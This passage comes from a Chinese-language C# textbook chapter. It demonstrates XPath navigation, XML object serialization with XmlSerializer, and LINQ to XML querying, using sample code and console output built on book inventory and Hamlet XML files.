27.4.4 使用XPath导航XML 要理解这些类的用法,最好是查看一下迭代books.xml文档的代码,弄清楚导航是如 何工作的。 第一个例子迭代所有定义为小说类型的书。首先创建一个XPathDocument对象,在构 造函数中接收XML文件名。这个对象包含了XML文件的只读内容,提供了 CreateNavigator()方法来创建一个XPathNavigator。使用这个导航器时,可以把XPath表 达式传递到Select()方法。使用XPath时,可以在层次结构之间使用/,来访问元素 树。/bookstore/book检索bookstore元素内的所有book节点。@genre是一种访问genre属性的 速记符号。Select()方法返回一个XPathNodeIterator,允许遍历匹配表达式的所有节 点。第一个while循环调用MoveNext()方法,迭代所有匹配的book元素。在每次迭代 中,在当前的XPathNavigator上调用另一个Select()方法SelectDescendants。 SelectDescendants返回所有的后代节点,这意味着子节点、子节点的子节点,以及在完整 的层次结构中这些子节点的所有子节点。对于SelectDescendants()方法,其重载版本只 匹配元素节点,去除了book元素本身。第二个while循环迭代这个集合,把名称和值写到 控制台(代码文件XPathNavigatorSample / Program.cs): public static void SimpleNavigate() { //modify to match your path structure var doc = new XPathDocument(BooksFileName); //create the XPath navigator XPathNavigator nav = doc.CreateNavigator(); //create the XPathNodeIterator of book nodes // that have genre attribute value of novel XPathNodeIterator iterator = nav.Select("/bookstore/book[@genre='novel']"); while (iterator.MoveNext()) { XPathNodeIterator newIterator = iterator.Current.SelectDescendants( XPathNodeType.Element, matchSelf: false); while (newIterator.MoveNext()) { WriteLine($"{newIterator.Current.Name}: {newIterator.Current.Value}"); } } } 运行应用程序,只会显示匹配小说类别的书的内容及其所有子节点,因为first-name 和last-name元素包含在author中: title: The Confidence Man author: HermanMelville first-name: Herman last-name: Melville price: 11.99 27.4.5 使用XPath评估 XPath不仅允许快速访问树中的XML节点,它还定义了一些用于数字的函数,例如 ceiling、floor、number、round和sum。下面的示例与前一个示例有些相似;它访问所有的 book元素,而不只是匹配小说类型的book元素。迭代book元素时,只把当前位置移动到第 一个子title节点来访问title子元素。在title节点中,把名称和值写入控制台。最后一个语句 定义了非常特殊的代码。在/bookstore/book/price元素的值上调用XPath函数。这些函数可 以通过调用XPathNavigator的Evaluate()方法来执行(代码文件XPathNavigatorSample / Program.cs): public static void UseEvaluate() { //modify to match your path structure var doc = new XPathDocument(BooksFileName); //create the XPath navigator XPathNavigator nav = doc.CreateNavigator(); //create the XPathNodeIterator of book nodes XPathNodeIterator iterator = nav.Select("/bookstore/book"); while (iterator.MoveNext()) { if (iterator.Current.MoveToChild("title", string.Empty)) { WriteLine($"{iterator.Current.Name}: {iterator.Current.Value}"); } } WriteLine("========================="); WriteLine($"Total Cost = {nav.Evaluate("sum(/bookstore/book/price)") }"); } 运行应用程序时,可以看到所有书的标题和总价: title: The Autobiography of Benjamin Franklin title: The Confidence Man title: The Gorgias ========================= Total Cost = 30.97 27.4.6 用XPath修改XML 接下来,使用XPath进行一些更改。这部分仅适用于完整的.NET Framework,所以使 用预处理器指令处理代码的区别。为了创建一个可变的XPathNavigator,在.NET 4.6中使 用XmlDocument类。在.NET Core中,XmlDocument没有提供CreateNavigator()方法,因 此导航器始终是只读的。在.NET 4.6中,XPathNavigator的CanEdit属性返回true,因此可 以调用InsertAfter方法。使用InsertAfter添加一个折扣,作为price元素后面的同级节点。使 用导航器的OuterXml属性访问新创建的XML文档,保存一个新的XML文件(代码文件 XPathNavigatorSample / Program.cs): public static void Insert() { #if DNX46 var doc = new XmlDocument(); doc.Load(BooksFileName); #else var doc = new XPathDocument(BooksFileName); #endif XPathNavigator navigator = doc.CreateNavigator(); if (navigator.CanEdit) { XPathNodeIterator iter = navigator.Select("/bookstore/book/price"); while (iter.MoveNext()) { iter.Current.InsertAfter("<disc>5</disc>"); } } using (var stream = File.CreateText(NewBooksFileName)) { var outDoc = new XmlDocument(); outDoc.LoadXml(navigator.OuterXml); outDoc.Save(stream); } } 用.NET 4.6运行应用程序,新生成的XML元素包含disc元素: <? xml version="1.0" encoding="utf-8"? > <! -- This file represents a fragment of a book store inventory database --> <bookstore> <book genre="autobiography" publicationdate="1991" ISBN="1-861003-11-0"> <title>The Autobiography of Benjamin Franklin</title> <author> <first-name>Benjamin</first-name> <last-name>Franklin</last-name> </author> <price>8.99</price> <disc>5</disc> </book> <book genre="novel" publicationdate="1967" ISBN="0-201-63361-2"> <title>The Confidence Man</title> <author> <first-name>Herman</first-name> <last-name>Melville</last-name> </author> <price>11.99</price> <disc>5</disc> </book> <book genre="philosophy" publicationdate="1991" ISBN="1-861001-57-6"> <title>The Gorgias</title> <author> <name>Plato</name> </author> <price>9.99</price> <disc>5</disc> </book> </bookstore> 27.5 在XML中序列化对象 序列化是把一个对象持久化到磁盘中的过程。应用程序的另一部分,甚至另一个应用 程序都可以反序列化对象,使它的状态与序列化之前相同。.NET Framework为此提供了 两种方式。 本节将介绍System.Xml.Serialization名称空间和Nuget包System.Xml.XmlSerializer。它 包含的类可用于把对象序列化为XML文档或流。这表示把对象的公共属性和公共字段转 换为XML元素和/或属性。 System.Xml.Serialization名称空间中最重要的类是XmlSerializer。要序列化对象,首先 需要实例化一个XmlSerializer对象,指定要序列化的对象类型,然后实例化一个流/写入器 对象,以把文件写入流/文档中。最后一步是在XmlSerializer上调用Serializer()方法,给 它传递流/写入器对象和要序列化的对象。 被序列化的数据可以是基元类型的数据、字段、数组,以及XmlElement和 XmlAttribute对象格式的内嵌XML。为了从XML文档中反序列化对象,应执行上述过程的 逆过程。即创建一个流/读取器对象和一个XmlSerializer对象,然后给Deserializer()方法 传递该流/读取器对象。这个方法返回反序列化的对象,尽管它需要强制转换为正确的类 型。  注意: XML序列化程序不能转换私有数据,只能转换公共数据,它也不能序 列化对象图表。但是,这并不是一个严格的限制。对类进行仔细设计,就很容易避免 这个问题。如果需要序列化公共数据和私有数据,以及包含许多嵌套对象的对象图 表,就可以使用运行库或数据协定序列化机制。 示例代码使用了以下依赖项和名称空间: 依赖项: NETStandard.Library System.Xml.XmlDocument System.Xml.XmlSerializer 名称空间: System.IO System.Xml System.Xml.Serialization static System.Console 27.5.1 序列化简单对象 下面开始序列化一个简单对象。类Product的XML特性来自名称空间 System.Xml.Serialization,用于指定属性是应该序列化为XML元素还是特性。XmlElement 特性指定属性要序列化为元素;XmlAttribute特性指定属性要序列化为特性。XmlRoot特 性指定类要序列化为根元素(代码文件ObjectToXmlSerializationSample / Product.cs): [XmlRoot] public class Product { [XmlAttribute(AttributeName = "Discount")] public int Discount { get; set; } [XmlElement] public int ProductID { get; set; } [XmlElement] public string ProductName { get; set; } [XmlElement] public int SupplierID { get; set; } [XmlElement] public int CategoryID { get; set; } [XmlElement] public string QuantityPerUnit { get; set; } [XmlElement] public Decimal UnitPrice { get; set; } [XmlElement] public short UnitsInStock { get; set; } [XmlElement] public short UnitsOnOrder { get; set; } [XmlElement] public short ReorderLevel { get; set; } [XmlElement] public bool Discontinued { get; set; } public override string ToString() => $"{ProductID} {ProductName} {UnitPrice:C}"; } 使用这些特性,可以通过使用特性类型的属性,影响要生成的名称、名称空间和类 型。 下面的代码示例创建一个Product类的实例,填充其属性,序列化为文件。创建 XmlSerializer需要通过构造函数传递要序列化的类的类型。Serialize方法重载为接受 Stream、TextWriter、XmlWriter和要序列化的对象(代码文件 ObjectToXmlSerializationSample / Program.cs): public static void SerializeProduct() { var product = new Product { ProductID = 200, CategoryID = 100, Discontinued = false, ProductName = "Serialize Objects", QuantityPerUnit = "6", ReorderLevel = 1, SupplierID = 1, UnitPrice = 1000, UnitsInStock = 10, UnitsOnOrder = 0 }; FileStream stream = File.OpenWrite(ProductFileName); using (TextWriter writer = new StreamWriter(stream)) { XmlSerializer serializer = new XmlSerializer(typeof(Product)); serializer.Serialize(writer, product); } } 生成的XML文件列出了Product元素、Discount折扣特性和其他存储为元素的属性: <? xml version="1.0" encoding="utf-8"? > <Product xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Discount="0"> <ProductID>200</ProductID> <ProductName>Serialize Objects</ProductName> <SupplierID>1</SupplierID> <CategoryID>100</CategoryID> <QuantityPerUnit>6</QuantityPerUnit> <UnitPrice>1000</UnitPrice> <UnitsInStock>10</UnitsInStock> <UnitsOnOrder>0</UnitsOnOrder> <ReorderLevel>1</ReorderLevel> <Discontinued>false</Discontinued> </Product> 这里没有任何不寻常的地方。可以以使用XML文档的任何方式来使用这个文档。可 以对它进行转换,并以HTML格式显示它,用它加载XmlDocument,或者像在该示例中那 样,对它进行反序列化,并创建一个对象,该对象的状态与序列化前的状态一样(这就是 下一步要做的工作)。 从文件中创建一个新对象是通过创建一个XmlSerializer,调用Deserialize方法实现的 (代码文件ObjectToXmlSerializationSample / Program. cs): public static void DeserializeProduct() { Product product; using (var stream = new FileStream(ProductFileName, FileMode.Open)) { var serializer = new XmlSerializer(typeof(Product)); product = serializer.Deserialize(stream) as Product; } WriteLine(product); } 运行应用程序时,控制台显示了产品ID、产品名称和单价。  注意: 要忽略XML序列化中的属性,可以使用XmlIgnore特性。 27.5.2 序列化一个对象树 如果有派生的类和可能返回一个数组的属性,则也可以使用XmlSerializer类。下面介 绍一个解决这些问题的复杂示例。 除了Product类之外,再创建BookProduct (派生于Product)和Inventory类。Inventory 类包含其他两个类。 BookProduct类派生于Product,添加了ISBN属性。此属性与XML特性Isbn存储在一 起,XML特性Isbn由.NET特性XmlAttribute定义(代码文件 ObjectToXmlSerializationSample / BookProduct.cs): public class BookProduct : Product { [XmlAttribute("Isbn")] public string ISBN { get; set; } } Inventory类包含一个库存项数组。库存项可以是一个Product或BookProduct。序列化 器需要知道存储在数组中的所有派生类,否则就不能反序列化它们。数组项使用 XmlArrayItem特性定义(代码文件ObjectToXmlSerializationSample / Inventory.cs): public class Inventory { [XmlArrayItem("Product", typeof(Product)), XmlArrayItem("Book", typeof(BookProduct))] public Product[] InventoryItems { get; set; } public override string ToString() { var outText = new StringBuilder(); foreach (Product prod in InventoryItems) { outText.AppendLine(prod.ProductName); } return outText.ToString(); } } 在SerializeInventory方法中创建Inventory对象,填充Product和BookProduct后,就序列 化Inventory (代码文件ObjectToXmlSerializationSample / Program.cs): public static void SerializeInventory() { var product = new Product { ProductID = 100, ProductName = "Product Thing", SupplierID = 10 }; var book = new BookProduct { ProductID = 101, ProductName = "How To Use Your New Product Thing", SupplierID = 10, ISBN = "1234567890" }; Product[] items = { product, book }; var inventory = new Inventory { InventoryItems = items }; using (FileStream stream = File.Create(InventoryFileName)) { var serializer = new XmlSerializer(typeof(Inventory)); serializer.Serialize(stream, inventory); } } 生成的XML文件定义了根元素Inventory、子元素Product和Book。BookProduct类型表 示为Book元素,因为XmlItemArray特性为BookProduct类型定义了Book名称: <? xml version="1.0"? > <Inventory xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <InventoryItems> <Product Discount="0"> <ProductID>100</ProductID> <ProductName>Product Thing</ProductName> <SupplierID>10</SupplierID> <CategoryID>0</CategoryID> <UnitPrice>0</UnitPrice> <UnitsInStock>0</UnitsInStock> <UnitsOnOrder>0</UnitsOnOrder> <ReorderLevel>0</ReorderLevel> <Discontinued>false</Discontinued> </Product> <Book Discount="0" Isbn="1234567890"> <ProductID>101</ProductID> <ProductName>How To Use Your New Product Thing</ProductName> <SupplierID>10</SupplierID> <CategoryID>0</CategoryID> <UnitPrice>0</UnitPrice> <UnitsInStock>0</UnitsInStock> <UnitsOnOrder>0</UnitsOnOrder> <ReorderLevel>0</ReorderLevel> <Discontinued>false</Discontinued> </Book> </InventoryItems> </Inventory> 要反序列化对象,需要调用XmlSerializer的Deserialize方法: public static void DeserializeInventory() { using (FileStream stream = File.OpenRead(InventoryFileName)) { var serializer = new XmlSerializer(typeof(Inventory)); Inventory newInventory = serializer.Deserialize(stream) as Inventory; foreach (Product prod in newInventory.InventoryItems) { WriteLine(prod.ProductName); } } } 27.5.3 没有特性的序列化 这些代码都很好地发挥了作用,但如果不能访问已经序列化的类型的源代码,该怎么 办?如果没有源代码,就不能添加特性。此时可以采用另一种方式。可以使用 XmlAttributes类和XmlAttributeOverrides类,这两个类可以完成刚才的任务,但不需要添 加特性。下面的代码说明了这两个类的工作方式。 对于这个示例,假定Inventory、Product和派生的BookProduct类也可以在一个单独的 库中,因为序列化独立于此,为了使示例结构简单,这些类在与前面例子相同的项目中, 但请注意现在没有把特性添加到Inventory中(代码文件 ObjectToXmlSerializationWOAttributes / Inventory.cs): public class Inventory { public Product[] InventoryItems { get; set; } public override string ToString() { var outText = new StringBuilder(); foreach (Product prod in InventoryItems) { outText.AppendLine(prod.ProductName); } return outText.ToString(); } } Product和BookProduct类的特性也删除了。 序列化的实现代码与之前类似,区别是使用另一个重载版本创建XmlSerializer。该重 载版本接受XmlAttributeOverrides。这些重写代码来自辅助方法 GetInventoryXmlAttributes(代码文件ObjectToXmlSerializationWOAttributes / Program.cs): public static void SerializeInventory() { var product = new Product { ProductID = 100, ProductName = "Product Thing", SupplierID = 10 }; var book = new BookProduct { ProductID = 101, ProductName = "How To Use Your New Product Thing", SupplierID = 10, ISBN = "1234567890" }; Product[] products = { product, book }; var inventory = new Inventory { InventoryItems = products }; using (FileStream stream = File.Create(InventoryFileName)) { var serializer = new XmlSerializer(typeof(Inventory), GetInventoryXmlAttributes()); serializer.Serialize(stream, inventory); } } 辅助方法GetInventoryXmlAttributes返回所需的XmlAttributeOverrides。此前, Inventory类应用了XmlArrayItem特性。它们现在创建了XmlAttributes,给XmlArrayItems集 合添加了XmlArrayItemAttributes。 另一个变化是Product和BookProduct类把XmlAttribute应用于Discount和ISBN属性。为 了定义相同的行为,但没有直接应用属性,创建了XmlAttributeAttribute对象,并赋予 XmlAttributes对象的XmlAttribute属性。然后把所有这些创建的XmlAttributes添加到包含 XmlAttributes集合的XmlAttributeOverrides中。调用XmlAttributeOverrides的Add方法时, 需要应该应用的特性的类型、属性名和相应的XmlAttributes (代码文件 ObjectToXmlSerializationWOAttributes / Program.cs): private static XmlAttributeOverrides GetInventoryXmlAttributes() { var inventoryAttributes = new XmlAttributes(); inventoryAttributes.XmlArrayItems.Add(new XmlArrayItemAttribute("Book", typeof(BookProduct))); inventoryAttributes.XmlArrayItems.Add(new XmlArrayItemAttribute("Product", typeof(Product))); var bookIsbnAttributes = new XmlAttributes(); bookIsbnAttributes.XmlAttribute = new XmlAttributeAttribute("Isbn"); var productDiscountAttributes = new XmlAttributes(); productDiscountAttributes.XmlAttribute = new XmlAttributeAttribute("Discount"); var overrides = new XmlAttributeOverrides(); overrides.Add(typeof(Inventory), "InventoryItems", inventoryAttributes); overrides.Add(typeof(BookProduct), "ISBN", bookIsbnAttributes); overrides.Add(typeof(Product), "Discount", productDiscountAttributes); return overrides; } 运行应用程序时,创建的XML内容和以前一样: <? xml version="1.0"? > <Inventory xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <InventoryItems> <Product Discount="0"> <ProductID>100</ProductID> <ProductName>Product Thing</ProductName> <SupplierID>10</SupplierID> <CategoryID>0</CategoryID> <UnitPrice>0</UnitPrice> <UnitsInStock>0</UnitsInStock> <UnitsOnOrder>0</UnitsOnOrder> <ReorderLevel>0</ReorderLevel> <Discontinued>false</Discontinued> </Product> <Book Discount="0" Isbn="1234567890"> <ProductID>101</ProductID> <ProductName>How To Use Your New Product Thing</ProductName> <SupplierID>10</SupplierID> <CategoryID>0</CategoryID> <UnitPrice>0</UnitPrice> <UnitsInStock>0</UnitsInStock> <UnitsOnOrder>0</UnitsOnOrder> <ReorderLevel>0</ReorderLevel> <Discontinued>false</Discontinued> </Book> </InventoryItems> </Inventory>  注意: .NET特性类型名通常以Attribute结尾。使用括号应用特性时,这个后 缀可以忽略。如果没有这个后缀,编译器会自动添加。可以用作特性的类直接或间接 派生于基类Attribute。使用括号应用特性XmlElement时,编译器会实例化 XmlElementAttribute类型。使用括号应用属性XmlAttribute时,这种命名会显得尤为突 出。在后台,使用了XmlAttributeAttribute类。编译器如何区分这个类和XmlAttribute? 类XmlAttribute用于从DOM树中读取XML属性,但它不是.NET特性,因为它没有派生 自基类Attribute。特性的更多信息参见第16章。 在反序列化代码中,需要相同的特性重写(代码文件 ObjectToXmlSerializationWOAttributes /Program.cs): public static void DeserializeInventory() { using (FileStream stream = File.OpenRead(InventoryFileName)) { XmlSerializer serializer = new XmlSerializer(typeof(Inventory), GetInventoryXmlAttributes()); Inventory newInventory = serializer.Deserialize(stream) as Inventory; foreach (Product prod in newInventory.InventoryItems) { WriteLine(prod.ProductName); } } } System.Xml.XmlSerialization名称空间提供了一个功能非常强大的工具集,可以把对 象序列化到XML中。把对象序列化和反序列化到XML中替代了把对象保存为二进制格 式,因此可以通过XML对对象进行其他处理。这将大大增强设计的灵活性。 27.6 LINQ to XML 处理XML没有足够的可用选项?LINQ to XML是另一个可用的选项。LINQ to XML允 许查询XML代码,其方式类似于查询对象列表和数据库。LINQ to Objects参见第13章, LINQ to Entities参见第38章。虽然XmlDocument提供的DOM树和XPathNavigator提供的 XPath查询实现了一个基于标准的方法来查询XML数据,而LINQ to XML提供了查询的简 单.NET变体——该变体类似于查询其他数据存储。除了LINQ to Objects提供的方法之外, LINQ to XML还在System.Xml.Linq名称空间中添加了这个查询的一些XML规范。LINQ to XML还比基于标准的XmlDocument XML创建方式更容易创建XML内容。 以下部分描述可用于LINQ to XML的对象。  注意: 本章的许多示例都使用了Hamlet.xml文件。这个XML文件在 http://metalab. unc.edu/ bosak/xml/eg/shaks200.zip上,以XML文件格式包含莎士比亚的所 有戏剧。 示例代码使用了以下依赖项和名称空间: 依赖项: NETStandard.Library System.Xml.XDocument 名称空间: System System.Collections.Generic System.Linq System.Xml.Linq static System.Console 27.6.1 XDocument对象 XDocument对象像XmlDocument一样,也表示XML文档,但它更容易处理。 XDocument对象还和这个名称空间中的其他新对象一起使用,如XNamespace、 XComment、XElement和XAttribute对象。 XDocument对象的一个更重要的成员是Load()方法: XDocument doc = XDocument.Load(HamletFileName); 这个操作会把HamletFileName常量定义的Hamlet.xml文件的内容加载到内存中。还可 以给Load()方法传递一个TextReader或XmlReader对象。现在就可以以编程方式处理 XML,如下面的代码片段所示,访问根元素的名称,检查根元素是否有特性(代码文件 LinqToXmlSample/Program.cs): XDocument doc = XDocument.Load(HamletFileName); WriteLine($"root name: {doc.Root.Name }"); WriteLine($"has root attributes? {doc.Root.HasAttributes }"); 输出的结果如下: root name: PLAY has root attributes? False 另一个重要的成员是Save()方法,它类似于Load()方法,可以保存到一个物理磁 盘位置,或一个TextWriter或XmlWriter对象中: XDocument doc = XDocument.Load(HamletFileName); doc.Save(SaveFileName); 27.6.2 XElement对象 一个常用的对象是Xelement对象。使用这个对象可以轻松地创建包含单个元素的对 象,该对象可以是XML文档本身,也可以只是XML片段。使用Load方法与XElement的方 式类似于使用Load方法和XDocument。例如,下面的例子写入一个XML元素及其相应的 值: var company = new XElement("Company", "Microsoft Corporation"); WriteLine(company); 在创建XElement对象时,可以定义该元素的名称和元素中使用的值。在这个例子 中,元素的名称是<Company>, <Company>元素的值是Microsoft Corporation。在控制台应 用程序中运行它,得到的结果如下: <Company>Microsoft Corporation</Company> 还可以使用多个XElement对象创建比较完整的XML文档,如下例所示(代码文件 LinqToXmlSample/Program.cs): public static void CreateXml() { var company = new XElement("Company", new XElement("CompanyName", "Microsoft Corporation"), new XElement("CompanyAddress", new XElement("Address", "One Microsoft Way"), new XElement("City", "Redmond"), new XElement("Zip", "WA 98052-6399"), new XElement("State", "WA"), new XElement("Country", "USA"))); WriteLine(company); } 这个API的优点是XML的层次结构用API表示。XElement的第一个实例化给第一个参 数传递字符串“Company”。这个参数的类型是XName,表示XML元素的名称。第二个参 数是另一个XElement。第二个XElement定义了Company的XML子元素。第二个元素 把"CompanyName"定义为XName, "Microsoft Corporation"定义为其值。指定公司地址的 XElement是Company元素的另一个子元素。其后的所有其他XElement对象是 CompanyAddress的直接子对象。构造函数允许将任意数量的对象定义为类型params object []。所有这些对象被当作子对象。 运行这个应用程序,得到的结果如下所示。 <Company> <CompanyName>Microsoft Corporation</CompanyName> <CompanyAddress> <Address>One Microsoft Way</Address> <City>Redmond</City> <Zip>WA 98052-6399</Zip> <State>WA</State> <Country>USA</Country> </CompanyAddress> </Company>  注意: XElement构造函数的语法可以轻松地创建层次XML。所以很容易从 LINQ查询中创建XML(把对象树转换为XML),参见本节后面的内容,也可以把一个 XML语法转变为另一个XML语法。 27.6.3 XNamespace对象 XNamespace对象表示XML名称空间,很容易应用于文档中的元素。例如,在前面的 例子中,通过创建XNamespace对象,很容易给根元素应用一个名称空间(代码文件 LinqToXmlSample/Program.cs): public static void WithNamespace() { XNamespace ns = "http://www.cninnovation.com/samples/2015"; var company = new XElement(ns + "Company ", new XElement("CompanyName", "Microsoft Corporation"), new XElement("CompanyAddress", new XElement("Address", "One Microsoft Way"), new XElement("City", "Redmond"), new XElement("Zip", "WA 98052-6399"), new XElement("State", "WA"), new XElement("Country", "USA"))); WriteLine(company); } 在这个例子中,创建了一个XNamespace对象,具体方法是给它赋予 http://www.cninnovation.com/samples/2015的值。之后,就可以在根元素<company>中通过 实例化XElement对象来使用它。 这会生成如下所示的结果。 <Company xmlns="http://www.cninnovation.com/samples/2015"> <CompanyName xmlns="">Microsoft Corporation</CompanyName> <CompanyAddress xmlns=""> <Address>One Microsoft Way</Address> <City>Redmond</City> <Zip>WA 98052-6399</Zip> <State>WA</State> <Country>USA</Country> </CompanyAddress> </Company>  注意: XNamespace允许通过给XNamespace分配一个字符串来创建,而不是 使用new运算符,因为这个类实现了字符串中的隐式类型转换操作符。也可以使用+运 算符与XNamespace对象,右边是一个字符串,因为+操作符的一个实现代码返回 XName。操作符重载参见第8章。 除了仅处理根元素之外,还可以把名称空间应用于所有元素,如下例所示(代码文件 LinqToXmlSample/Program.cs): public static void With2Namespace() { XNamespace ns1 = "http://www.cninnovation.com/samples/2015"; XNamespace ns2 = "http://www.cninnovation.com/samples/2015/address"; var company = new XElement(ns1 + "Company", new XElement(ns2 + "CompanyName", "Microsoft Corporation"), new XElement(ns2 + "CompanyAddress", new XElement(ns2 + "Address", "One Microsoft Way"), new XElement(ns2 + "City", "Redmond"), new XElement(ns2 + "Zip", "WA 98052-6399"), new XElement(ns2 + "State", "WA"), new XElement(ns2 + "Country", "USA"))); WriteLine(company); } 这会生成如下所示的结果。 <Company xmlns="http://www.cninnovation.com/samples/2015"> <CompanyName xmlns="http://www.cninnovation.com/samples/2015/address"> Microsoft Corporation</CompanyName> <CompanyAddress xmlns="http://www.cninnovation.com/samples/2015/address"> <Address>One Microsoft Way</Address> <City>Redmond</City> <Zip>WA 98052-6399</Zip> <State>WA</State> <Country>USA</Country> </CompanyAddress> </Company> 在这个例子中,子名称空间应用于指定的所有对象,但<Address>、<City>、<State> 和<Country>元素除外,因为它们继承自其父对象<CompanyAddress>,而 <CompanyAddress>有名称空间声明。 27.6.4 XComment对象 XComment对象可以轻松地把XML注释添加到XML文档中。下面的例子说明了如何 把一条注释添加到文档的开头和Company元素中(代码文件 LinqToXmlSample/Program.cs): public static void WithComments() { var doc = new XDocument(); XComment comment = new XComment("Sample XML for Professional C#."); doc.Add(comment); var company = new XElement("Company", new XElement("CompanyName", "Microsoft Corporation"), new XComment("A great company"), new XElement("CompanyAddress", new XElement("Address", "One Microsoft Way"), new XElement("City", "Redmond"), new XElement("Zip", "WA 98052-6399"), new XElement("State", "WA"), new XElement("Country", "USA"))); doc.Add(company); WriteLine(doc); } 运行应用程序,调用WithComments方法,就可以看到生成的XML注释: <! --Sample XML for Professional C#.--> <Company> <CompanyName>Microsoft Corporation</CompanyName> <! -A great company-> <CompanyAddress> <Address>One Microsoft Way</Address> <City>Redmond</City> <Zip>WA 98052-6399</Zip> <State>WA</State> <Country>USA</Country> </CompanyAddress> </Company> 27.6.5 XAttribute对象 除了元素之外,XML的另一个要素是特性。通过XAttribute对象添加和使用特性。下 面的例子说明了给根节点<Company>添加一个特性的过程(代码文件 LinqToXmlSample/Program.cs): public static void WithAttributes() { var company = new XElement("Company", new XElement("CompanyName", "Microsoft Corporation"), new XAttribute("TaxId", "91-1144442"), new XComment("A great company"), new XElement("CompanyAddress", new XElement("Address", "One Microsoft Way"), new XElement("City", "Redmond"), new XElement("Zip", "WA 98052-6399"), new XElement("State", "WA"), new XElement("Country", "USA"))); WriteLine(company); } 特性与Company元素一起显示: <Company TaxId="91-1144442"> <CompanyName>Microsoft Corporation</CompanyName> <! -A great company-> <CompanyAddress> <Address>One Microsoft Way</Address> <City>Redmond</City> <Zip>WA 98052-6399</Zip> <State>WA</State> <Country>USA</Country> </CompanyAddress> </Company> 现在可以把XML文档转换为XDocument对象,处理这个文档的各个部分,还可以使 用LINQ to XML查询XML文档,处理结果。 27.6.6 使用LINQ查询XML文档 使用LINQ to XML查询静态的XML文档几乎不需要做任何工作。下面的例子就使用 hamlet.xml文件和查询获得戏剧中的所有演员。每位演员都在XML文档中用<PERSONA> 元素定义。XDocument类的Descendants方法返回一个IEnumerable < XElement >,其中包 含树上的所有PERSONA元素。对于这棵树的每个PERSONA元素,用LINQ查询访问Value 属性,并写入所得的集合(代码文件LinqToXmlSample / Program.cs): public static void QueryHamlet() { XDocument doc = XDocument.Load(HamletFileName); IEnumerable<string> persons = (from people in doc.Descendants("PERSONA") select people.Value).ToList(); WriteLine($"{persons.Count()} Players Found"); WriteLine(); foreach (var item in persons) { WriteLine(item); } } 运行应用程序时,可以在戏剧哈姆雷特中看到以下结果。在C#编程书中也可以学习 文学: 26 Players Found CLAUDIUS, king of Denmark. HAMLET, son to the late king, and nephew to the present king. POLONIUS, lord chamberlain. HORATIO, friend to Hamlet. LAERTES, son to Polonius. LUCIANUS, nephew to the king. VOLTIMAND CORNELIUS ROSENCRANTZ GUILDENSTERN OSRIC A Gentleman A Priest. MARCELLUS BERNARDO FRANCISCO, a soldier. REYNALDO, servant to Polonius. Players. Two Clowns, grave-diggers. FORTINBRAS, prince of Norway. A Captain. English Ambassadors. GERTRUDE, queen of Denmark, and mother to Hamlet. OPHELIA, daughter to Polonius. Lords, Ladies, Officers, Soldiers, Sailors, Messengers, and other Attendants. Ghost of Hamlet's Father. 27.6.7 查询动态的XML文档 目前,Internet上有许多动态的XML文档。给指定的URL端点发送一个请求,就会找 到博客种子、播客种子等许多提供XML文档的内容。这些种子可以在浏览器上查看,或 者通过RSS聚合器查看,或用作纯粹的XML。下面的示例说明了如何直接从代码中使用 Atom种子。 在这段代码中,XDocument对象的Load()方法指向一个URL,从该URL中检索 XML文档。对于Atom种子,根元素是一个feed元素,包含带有种子信息的直接子元素, 和每一篇文章的entry元素列表。访问元素时,不要错过Atom名称空间 http://www.w3.org/2005/Atom,否则结果将是空的。 在示例代码中,首先访问title和subtitle元素的值,它们定义为根元素的子元素。Atom 种子可以包含多个link元素。使用一个LINQ查询时,只检索包含rel特性值alternate的第一 个link元素。把完整的种子信息写到控制台后,检索所有entry元素,创建一个带有Title、 Published、Summary、Url和Comments属性的匿名类型(代码文件LinqToXmlSample / Program.cs): public static void QueryFeed() { XNamespace ns = "http://www.w3.org/2005/Atom"; XDocument doc = XDocument.Load(@"http://blog.cninnovation.com/feed/atom/"); WriteLine($"Title: {doc.Root.Element(ns + "title").Value}"); WriteLine($"Subtitle: {doc.Root.Element(ns + "subtitle").Value}"); string url = doc.Root.Elements(ns + "link") .Where(e => e.Attribute("rel").Value == "alternate") .FirstOrDefault() ?.Attribute("href")? .Value; WriteLine($"Link: {url}"); WriteLine(); var queryPosts = from myPosts in doc.Descendants(ns + "entry") select new { Title = myPosts.Element(ns + "title")? .Value, Published = DateTime.Parse( myPosts.Element(ns + "published")? .Value), Summary = myPosts.Element(ns + "summary")? .Value, Url = myPosts.Element(ns + "link")? .Value, Comments = myPosts.Element(ns + "comments")? .Value }; foreach (var item in queryPosts) { string shortTitle = item.Title.Length > 50 ? item.Title.Substring(0, 50) + "..." : item.Title; WriteLine(shortTitle); } } 运行应用程序,查看种子的全部信息: Title: Christian Nagel's CN innovation Subtitle: Infos für Windows- und Web-Entwickler Link: http://blog.cninnovation.com 查询的结果显示所有的标题: A New Hello, World! Ein heisser Sommer: Visual Studio 2015, .NET Core ... Ein Operator Namens Elvis &#8211; oder A Lap Aroun... .NET 2015, C# 6 und Visual Studio 2015 Update Trai... Building Bridges &#8211; Build 2015 Slides und Samples vom Global Azure Boot Camp Code Samples von der BASTA! 2015 Spring .NET User Group Austria &#8211; Fünf Gründe für Me... .NET User Group Austria &#8211; Welche Storage Tec... Universal Apps für Windows 10 27.6.8 转换为对象 使用LINQ to SQL很容易把XML文档转换为对象树。Hamlet文件包含戏剧里的所有角 色。属于组的一些角色就分组到PGROUP元素内。一个组在GRPDESC元素中包含组的名 称,组内的角色包含在PERSONA元素中。下面的示例为每个组创建对象,并给对象添加 组名称和角色。代码示例使用LINQ方法语法,而不是LINQ查询,利用Select()方法的 一个重载版本,来提供索引参数。该索引也会进入新创建的对象。XDocument的 Descendants()方法过滤所有的PGROUP元素。每个组用Select()方法选择,创建一个 匿名对象,填充Number、Description和Characters属性。Characters属性本身就是组中 PERSONA元素的所有值的列表(代码文件LinqToXmlSample / Program.cs): public static void TransformingToObjects() { XDocument doc = XDocument.Load(HamletFileName); var groups = doc.Descendants("PGROUP") .Select((g, i) => new { Number = i + 1, Description = g.Element("GRPDESCR").Value, Characters = g.Elements("PERSONA").Select(p => p.Value) }); foreach (var group in groups) { WriteLine(group.Number); WriteLine(group.Description); foreach (var name in group.Characters) { WriteLine(name); } WriteLine(); } } 运行应用程序,调用TransformingToObjects方法,查看两个组及其角色: 1 courtiers. VOLTIMAND CORNELIUS ROSENCRANTZ GUILDENSTERN 